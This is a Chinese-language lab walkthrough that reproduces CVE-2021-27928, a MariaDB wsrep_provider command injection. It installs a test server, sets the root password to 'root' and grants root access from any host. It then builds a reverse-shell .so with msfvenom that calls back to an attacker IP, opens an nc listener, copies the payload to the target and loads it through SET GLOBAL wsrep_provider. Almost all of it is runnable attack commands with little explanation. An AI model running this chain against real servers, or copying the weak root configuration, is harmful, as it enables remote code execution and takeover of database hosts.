CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入漏洞

sudo tar xvf mariadb-10.3.27-linux-x86_64.tar.gz -C /usr/local

sudo ln -s mariadb-10.3.27-linux-x86_64/ mysql

删除用户：userdel mysql
删除用户组：groupdel mysql
删除邮箱：rm -rf /var/spool/mail/mysql
创建mysql用户组：useradd -s /sbin/nologin -M mysql

sudo chown -R mysql:mysql .

sudo mkdir /usr/maria_data
sudo chown -R mysql:mysql /usr/maria_data

sudo ./scripts/mysql_install_db --user=mysql --datadir=/usr/maria_data

cp ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/init.d/mysqld

basedir=/usr/local/mysql
datadir=/usr/maria_data

echo 'export PATH=/usr/local/mysql/bin:$PATH' >  /etc/profile.d/mysql.sh
source /etc/profile.d/mysql.sh

log_bin=mysql-bin
skip_name_resolve=on

sysv-rc-conf mysqld on

#选择mysql 数据库
use mysql;


#更改 root 用户密码
update user set password=PASSWORD("root")where user="root";


#更新权限
flush privileges;


#设置任何远程主机都可以访问数据库
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;


#更新权限
flush privileges;

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f elf-so -o CVE-2021-27928.so

nc -lvp <port>
nc -lvp 4444

scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
scp CVE-2021-27928.so ubuntu@192.168.174.166:/tmp/CVE-2021-27928.so

mysql -u root -p -h 192.168.174.166 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'